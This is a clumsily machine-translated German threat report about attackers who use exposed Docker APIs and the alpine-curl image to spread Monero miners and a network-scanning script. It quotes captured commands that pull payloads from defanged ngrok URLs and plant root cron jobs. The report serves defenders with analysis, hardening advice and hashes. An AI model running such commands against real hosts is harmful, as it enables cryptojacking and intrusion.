Wie die nicht-private Docker-API und öffentliche Bilder der Community zur Verbreitung von Kryptowährungs-Minern verwendet werden

Wie die nicht-private Docker-API und öffentliche Bilder der Community zur Verbreitung von Kryptowährungs-Minern verwendet werden

Wir haben die mithilfe von Honeypot-Containern gesammelten Daten analysiert, die wir zur Verfolgung von Bedrohungen erstellt haben. Und wir haben erhebliche Aktivitäten von unerwünschten oder nicht autorisierten Kryptowährungs-Minern festgestellt, die als betrügerische Container mithilfe eines von der Community veröffentlichten Images auf Docker Hub eingesetzt wurden. Das Bild wird als Teil eines Dienstes verwendet, der bösartige Kryptowährungs-Miner bereitstellt.

Zusätzlich werden Programme zur Arbeit mit Netzwerken installiert, um in benachbarte Container und Anwendungen einzudringen.

Wir belassen unsere Honeypots so wie sie sind, also mit Standardeinstellungen, ohne jegliche Sicherheitsmaßnahmen oder nachträgliche Installation zusätzlicher Software. Bitte beachten Sie, dass Docker Empfehlungen für die Ersteinrichtung gibt, um Fehler und einfache Schwachstellen zu vermeiden. Bei den verwendeten Honeypots handelt es sich jedoch um Container, die darauf ausgelegt sind, Angriffe zu erkennen, die auf die Containerisierungsplattform abzielen, und nicht auf die Anwendungen in den Containern.

Bemerkenswert ist die erkannte Schadaktivität auch deshalb, weil sie keine Schwachstellen erfordert und zudem unabhängig von der Docker-Version ist. Um viele offene Server zu infizieren, müssen Angreifer lediglich ein falsch konfiguriertes und damit offenes Container-Image finden.

Die nicht geschlossene Docker-API ermöglicht dem Benutzer die Ausführung einer Vielzahl von Aufgaben MannschaftenDazu gehören das Abrufen einer Liste laufender Container, das Abrufen von Protokollen von einem bestimmten Container, das Starten, Stoppen (einschließlich Erzwingen) und sogar das Erstellen eines neuen Containers aus einem bestimmten Image mit angegebenen Einstellungen.

Wie die nicht-private Docker-API und öffentliche Bilder der Community zur Verbreitung von Kryptowährungs-Minern verwendet werden
Auf der linken Seite sehen Sie die Malware-Übermittlungsmethode. Auf der rechten Seite befindet sich die Umgebung des Angreifers, die das Ausrollen von Bildern aus der Ferne ermöglicht.

Wie die nicht-private Docker-API und öffentliche Bilder der Community zur Verbreitung von Kryptowährungs-Minern verwendet werden
Verteilung nach Ländern von 3762 offenen Docker-APIs. Basierend auf der Shodan-Suche vom 12.02.2019

Optionen für Angriffskette und Nutzlast

Schädliche Aktivitäten wurden nicht nur mithilfe von Honeypots entdeckt. Daten von Shodan zeigen, dass die Anzahl der offengelegten Docker-APIs (siehe zweite Grafik) zugenommen hat, seit wir einen falsch konfigurierten Container untersucht haben, der als Brücke für die Bereitstellung der Monero-Kryptowährungs-Mining-Software verwendet wurde. Im Oktober letzten Jahres (2018, aktuelle Daten). Du kannst so aussehen ca. Übersetzer) gab es nur 856 offene APIs.

Eine Untersuchung der Honeypot-Protokolle ergab, dass die Verwendung von Container-Images auch mit der Verwendung von verbunden war Ngrok, ein Tool zum Aufbau sicherer Verbindungen oder zum Weiterleiten von Datenverkehr von öffentlich zugänglichen Punkten an bestimmte Adressen oder Ressourcen (z. B. localhost). Dadurch können Angreifer dynamisch URLs erstellen, wenn sie Nutzdaten an einen offenen Server übermitteln. Nachfolgend finden Sie Codebeispiele aus den Protokollen, die den Missbrauch des ngrok-Dienstes zeigen:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Wie Sie sehen, werden die hochgeladenen Dateien von ständig wechselnden URLs heruntergeladen. Diese URLs haben ein kurzes Ablaufdatum, sodass Payloads nach dem Ablaufdatum nicht mehr heruntergeladen werden können.

Es gibt zwei Nutzlastoptionen. Der erste ist ein kompilierter ELF-Miner für Linux (definiert als Coinminer.SH.MALXMR.ATNO), der eine Verbindung zum Mining-Pool herstellt. Das zweite ist ein Skript (TrojanSpy.SH.ZNETMAP.A), das darauf ausgelegt ist, bestimmte Netzwerktools abzurufen, mit denen Netzwerkbereiche gescannt und dann nach neuen Zielen gesucht werden.

Das Dropper-Skript legt zwei Variablen fest, die dann zum Einsatz des Kryptowährungs-Miners verwendet werden. Die HOST-Variable enthält die URL, unter der sich die schädlichen Dateien befinden, und die RIP-Variable ist der Dateiname (eigentlich der Hash) des einzusetzenden Miners. Die HOST-Variable ändert sich jedes Mal, wenn sich die Hash-Variable ändert. Das Skript versucht außerdem zu überprüfen, ob auf dem angegriffenen Server keine anderen Kryptowährungs-Miner ausgeführt werden.

Wie die nicht-private Docker-API und öffentliche Bilder der Community zur Verbreitung von Kryptowährungs-Minern verwendet werden
Beispiele für HOST- und RIP-Variablen sowie ein Code-Snippet, mit dem überprüft wird, ob keine anderen Miner ausgeführt werden

Bevor der Miner gestartet wird, wird er in Nginx umbenannt. Andere Versionen dieses Skripts benennen den Miner in andere legitime Dienste um, die möglicherweise in Linux-Umgebungen vorhanden sind. Dies reicht normalerweise aus, um Prüfungen anhand der Liste der laufenden Prozesse zu umgehen.

Das Suchskript verfügt auch über Funktionen. Es arbeitet mit demselben URL-Dienst, um die erforderlichen Tools bereitzustellen. Darunter befindet sich die Binärdatei zmap, mit der Netzwerke gescannt und eine Liste offener Ports abgerufen werden können. Das Skript lädt außerdem eine weitere Binärdatei, die zur Interaktion mit den gefundenen Diensten und zum Empfang von Bannern von diesen verwendet wird, um zusätzliche Informationen über den gefundenen Dienst (z. B. seine Version) zu ermitteln.

Das Skript legt auch vorab einige zu scannende Netzwerkbereiche fest, dies hängt jedoch von der Version des Skripts ab. Außerdem werden die Zielports der Dienste – in diesem Fall Docker – festgelegt, bevor der Scan ausgeführt wird.

Sobald mögliche Ziele gefunden werden, werden Banner automatisch von ihnen entfernt. Das Skript filtert auch Ziele abhängig von den interessierenden Diensten, Anwendungen, Komponenten oder Plattformen: Redis, Jenkins, Drupal, MODX, Kubernetes-Meister, Docker 1.16-Client und Apache CouchDB. Wenn der gescannte Server mit einem davon übereinstimmt, wird er in einer Textdatei gespeichert, die Angreifer später für spätere Analysen und Hackerangriffe verwenden können. Diese Textdateien werden über dynamische Links auf die Server der Angreifer hochgeladen. Das heißt, für jede Datei wird eine eigene URL verwendet, was einen späteren Zugriff erschwert.

Der Angriffsvektor ist ein Docker-Image, wie in den nächsten beiden Codeteilen zu sehen ist.

Wie die nicht-private Docker-API und öffentliche Bilder der Community zur Verbreitung von Kryptowährungs-Minern verwendet werden
Oben steht die Umbenennung in einen legitimen Dienst und unten die Art und Weise, wie zmap zum Scannen von Netzwerken verwendet wird

Wie die nicht-private Docker-API und öffentliche Bilder der Community zur Verbreitung von Kryptowährungs-Minern verwendet werden
Oben befinden sich vordefinierte Netzwerkbereiche, unten spezifische Ports für die Suche nach Diensten, einschließlich Docker

Wie die nicht-private Docker-API und öffentliche Bilder der Community zur Verbreitung von Kryptowährungs-Minern verwendet werden
Der Screenshot zeigt, dass das Alpine-Curl-Bild mehr als 10 Millionen Mal heruntergeladen wurde

Basierend auf Alpine Linux und Curl können Sie ein ressourceneffizientes CLI-Tool zum Übertragen von Dateien über verschiedene Protokolle erstellen Docker-Image. Wie Sie im vorherigen Bild sehen können, wurde dieses Bild bereits mehr als 10 Millionen Mal heruntergeladen. Eine große Anzahl an Downloads kann bedeuten, dass dieses Bild als Einstiegspunkt verwendet wird; dieses Bild wurde vor mehr als sechs Monaten aktualisiert; Benutzer haben andere Bilder aus diesem Repository nicht so oft heruntergeladen. Im Docker Eingangspunkt – eine Reihe von Anweisungen, die zum Konfigurieren eines Containers für dessen Ausführung verwendet werden. Wenn die Einstellungen für den Einstiegspunkt falsch sind (z. B. wenn der Container vom Internet aus geöffnet bleibt), kann das Bild als Angriffsvektor verwendet werden. Angreifer können damit eine Nutzlast ausliefern, wenn sie einen falsch konfigurierten oder offenen Container finden, der nicht unterstützt wird.

Es ist wichtig zu beachten, dass dieses Bild (alpine-curl) selbst nicht bösartig ist, aber wie Sie oben sehen können, kann es zur Ausführung bösartiger Funktionen verwendet werden. Ähnliche Docker-Images können auch zur Durchführung böswilliger Aktivitäten verwendet werden. Wir haben Docker kontaktiert und mit ihnen an diesem Problem gearbeitet.

Empfehlungen

Falsche Einstellung Überreste ständiges Problem für viele Unternehmen, insbesondere solche, die es umsetzen DevOps, konzentrierte sich auf schnelle Entwicklung und Bereitstellung. Erschwerend kommen noch die Notwendigkeit hinzu, Prüfungs- und Überwachungsvorschriften einzuhalten, die Vertraulichkeit der Daten zu überwachen und enorme Schäden durch deren Nichteinhaltung zu verursachen. Durch die Integration der Sicherheitsautomatisierung in den Entwicklungslebenszyklus können Sie nicht nur Sicherheitslücken finden, die andernfalls unentdeckt bleiben würden, sondern auch unnötigen Arbeitsaufwand reduzieren, z. B. die Ausführung zusätzlicher Software-Builds für jede entdeckte Schwachstelle oder Fehlkonfiguration nach der Bereitstellung einer Anwendung.

Der in diesem Artikel behandelte Vorfall unterstreicht die Notwendigkeit, die Sicherheit von Anfang an zu berücksichtigen, einschließlich der folgenden Empfehlungen:

  • Für Systemadministratoren und Entwickler: Überprüfen Sie immer Ihre API-Einstellungen, um sicherzustellen, dass alles so konfiguriert ist, dass nur Anfragen von einem bestimmten Server oder internen Netzwerk akzeptiert werden.
  • Befolgen Sie das Prinzip der geringsten Rechte: Stellen Sie sicher, dass Container-Images signiert und überprüft werden, beschränken Sie den Zugriff auf kritische Komponenten (Container-Startdienst) und fügen Sie Verschlüsselung zu Netzwerkverbindungen hinzu.
  • Folgen Empfehlung und Sicherheitsmechanismen ermöglichen, z.B. von Docker und eingebaut Sicherheitsfunktionen.
  • Nutzen Sie das automatisierte Scannen von Laufzeiten und Bildern, um zusätzliche Informationen über die im Container ausgeführten Prozesse zu erhalten (z. B. um Spoofing zu erkennen oder nach Schwachstellen zu suchen). Anwendungskontrolle und Integritätsüberwachung helfen dabei, ungewöhnliche Änderungen an Servern, Dateien und Systembereichen zu verfolgen.

Trendmicro hilft DevOps-Teams dabei, sicher aufzubauen, schnell einzuführen und überall zu starten. Trend Micro Hybrid Cloud-Sicherheit Bietet leistungsstarke, optimierte und automatisierte Sicherheit für die gesamte DevOps-Pipeline eines Unternehmens und bietet mehrere Abwehrmaßnahmen gegen Bedrohungen XGen zum Schutz physischer, virtueller und Cloud-Workloads zur Laufzeit. Es fügt auch Containersicherheit hinzu Tiefe Sicherheit и Deep Security Smart Check, die Docker-Container-Images an jedem Punkt der Entwicklungspipeline auf Malware und Schwachstellen scannen, um Bedrohungen zu verhindern, bevor sie bereitgestellt werden.

Anzeichen von Kompromissen

Verwandte Hashes:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Auf Docker-Videokurs Praktizierende Referenten zeigen, welche Einstellungen zunächst vorgenommen werden müssen, um das Auftreten der oben beschriebenen Situation zu minimieren oder ganz zu vermeiden. Und vom 19. bis 21. August bei einem Online-Intensivkurs DevOps-Tools und Cheats Diese und ähnliche Sicherheitsprobleme können Sie mit Kollegen und praktizierenden Lehrern an einem runden Tisch besprechen, an dem jeder zu Wort kommen und sich die Sorgen und Erfolge erfahrener Kollegen anhören kann.

Source: habr.com

Kommentar hinzufügen